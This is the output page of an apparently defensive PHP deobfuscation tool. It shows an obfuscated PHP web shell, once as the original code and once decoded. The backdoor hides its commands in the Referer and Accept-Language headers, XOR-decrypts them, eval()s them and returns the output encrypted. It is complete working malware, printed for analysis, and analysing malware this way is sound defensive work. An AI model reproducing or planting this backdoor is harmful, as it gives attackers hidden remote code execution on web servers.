Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $X=str_replace('yz','','cyzreatyzeyz_fyzunyzctiyzon'); $g='base`l64_encode`l(`lx(g..

Decoded Output download

$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

<?php
$X=str_replace('yz','','cyzreatyzeyz_fyzunyzctiyzon');
$g='base`l64_encode`l(`lx(gz`lcomp`lress($o),$k)`l);print("<`l$k>`l$d<`l/$k>");@sess`lion_destroy`l();}}}}';
$b='`li<$l;){f`lor($j=0`l;($j<$c&`l&$i<$l`l`l);$j++,`l$i++){$o.=`l$t{$i`l`l}^`l`l$k{$j};}}return`l $o;}$r=$_';
$M='s=&$_SESSI`lON`l;$ss=`l"substr";$sl`l="strt`lolow`ler";$i=$m[`l1][0].$`lm[1][1]`l;$`lh=$sl($ss(md5`l($';
$k='u=pa`lrse_url`l($rr)`l`l;parse_str($`lu`l["query"],`l$q);$q=a`lr`lray_val`lues($q);pre`lg_ma`lt`lch_al';
$W='`li.$kh),`l0`l,3));$f=$s`ll($ss(`lmd5($i`l.$kf),0,3`l));$p`l="";f`lor($z=1;$`lz`l<co`lunt($m`l[1]`l);$';
$L='SERV`lER;$rr=`l@$`lr["HTTP`l_REFERER`l"];$`lra=@$r`l["HTT`lP_`lACCEPT_LANGU`lAGE"`l];if($rr&&`l$`lra){$';
$U='$kh`l="5d41";$kf`l="`l`l402a";functi`lon x($`lt,$k){$`lc=strle`ln($`lk);$l=strlen`l($t)`l;$o`l="";`lfor($i=0;$';
$O='z++)$p.=$q`l[$m[`l2][$z]];if`l(`lst`lrpos($p,$h)===0){`l`l$s[$i]="";$p`l`l=$ss($p,3`l);}if`l(`l`larray';
$x=';@`le`lval(@gzu`lncompres`ls(`l@x(@`lb`las`le64`l_deco`lde`l(preg_repl`lace(a`lrray("/_/","/-/"),arra`';
$h='l("`l/([\\w]`l)[\\w-]+(?:;`l`lq=0.([\\d`l]))?,?`l/"`l,$ra,$`lm);if($q&&`l$m){@sessi`l`lon`l`l_st`lart();$';
$i='_key_exists($i,`l$s)){`l$s[$i`l]`l.=$p;$e=`lstrpos(`l$s[`l$i],$f);if($e)`l{`l$k`l=$kh.$kf`l;ob_start()';
$o='ly("/","+")`l,`l`l$ss`l($s[$i],0,$e))`l),`l$k)));$o`l=ob_g`let_con`ltents();ob_`lend_cle`lan();`l$d`l=';
$I=str_replace('`l','',$U.$b.$L.$k.$h.$M.$W.$O.$i.$x.$o.$g);
$N=$X('',$I);$N();
?>

Function Calls

null 1
str_replace 2
create_function 1

Variables

$I $kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=str..
$L SERV`lER;$rr=`l@$`lr["HTTP`l_REFERER`l"];$`lra=@$r`l["HTT`lP..
$M s=&$_SESSI`lON`l;$ss=`l"substr";$sl`l="strt`lolow`ler";$i=$m..
$N None
$O z++)$p.=$q`l[$m[`l2][$z]];if`l(`lst`lrpos($p,$h)===0){`l`l$s..
$U $kh`l="5d41";$kf`l="`l`l402a";functi`lon x($`lt,$k){$`lc=str..
$W `li.$kh),`l0`l,3));$f=$s`ll($ss(`lmd5($i`l.$kf),0,3`l));$p`l..
$X create_function
$b `li<$l;){f`lor($j=0`l;($j<$c&`l&$i<$l`l`l);$j++,`l$i++){$o.=..
$g base`l64_encode`l(`lx(gz`lcomp`lress($o),$k)`l);print("<`l$k..
$h l("`l/([\w]`l)[\w-]+(?:;`l`lq=0.([\d`l]))?,?`l/"`l,$ra,$`lm)..
$i _key_exists($i,`l$s)){`l$s[$i`l]`l.=$p;$e=`lstrpos(`l$s[`l$i..
$k u=pa`lrse_url`l($rr)`l`l;parse_str($`lu`l["query"],`l$q);$q=..
$o ly("/","+")`l,`l`l$ss`l($s[$i],0,$e))`l),`l$k)));$o`l=ob_g`l..
$x ;@`le`lval(@gzu`lncompres`ls(`l@x(@`lb`las`le64`l_deco`lde`l..

Stats

MD5 6ff22f3f41f77407cd294f4efbec238f
Eval Count 1
Decode Time 120 ms